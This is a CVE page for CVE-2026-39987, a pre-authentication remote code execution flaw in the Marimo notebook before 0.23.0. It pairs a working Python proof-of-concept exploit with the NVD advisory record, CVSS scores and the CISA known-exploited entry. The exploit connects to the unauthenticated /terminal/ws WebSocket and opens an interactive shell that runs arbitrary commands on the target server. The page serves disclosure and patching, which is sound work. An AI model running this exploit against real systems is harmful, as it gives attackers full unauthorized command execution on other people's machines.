CVE-2026-39987

import asyncio import websockets # PoC for CVE-2026-39987 # Target: Marimo < 0.23.0 # The vulnerability exists in the /terminal/ws endpoint which lacks authentication. async def exploit(target_url): # Construct the WebSocket URL for the terminal endpoint ws_url = f"{target_url}/terminal/ws" try: print(f"[*] Connecting to {ws_url}...") # No authentication headers or cookies are required async with websockets.connect(ws_url) as websocket: print("[+] Connection established! Shell access granted.") print("[*] Sending commands...") # Send a simple command to verify execution (e.g., 'id' or 'ls') await websocket.send("id\n") response = await websocket.recv() print(f"[+] Command Output:\n{response}") # Keep connection open for interaction while True: cmd = input("shell> ") if cmd == "exit": break await websocket.send(cmd + "\n") output = await websocket.recv() print(output) except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "ws://localhost:2718" # Default Marimo port asyncio.run(exploit(target))

{"cve": {"id": "CVE-2026-39987", "sourceIdentifier": "[email protected]", "published": "2026-04-09T18:17:02.807", "lastModified": "2026-04-23T20:15:29.690", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "marimo is a reactive Python notebook. Prior to 0.23.0, Marimo has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands. Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification. This vulnerability is fixed in 0.23.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "cisaExploitAdd": "2026-04-23", "cisaActionDue": "2026-05-07", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Marimo Remote Code Execution Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:coreweave:marimo:*:*:*:*:*:python:*:*", "versionEndExcluding": "0.23.0", "matchCriteriaId": "EFA40E82-022F-42C3-A141-F4493A2A3E57"}]}]}], "references": [{"url": "https://github.com/marimo-team/marimo/commit/c24d4806398f30be6b12acd6c60d1d7c68cfd12a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/marimo-team/marimo/pull/9098", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-39987", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["US Government Resource"]}, {"url": "https://www.sysdig.com/blog/marimo-oss-python-notebook-rce-from-disclosure-to-exploitation-in-under-10-hours", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}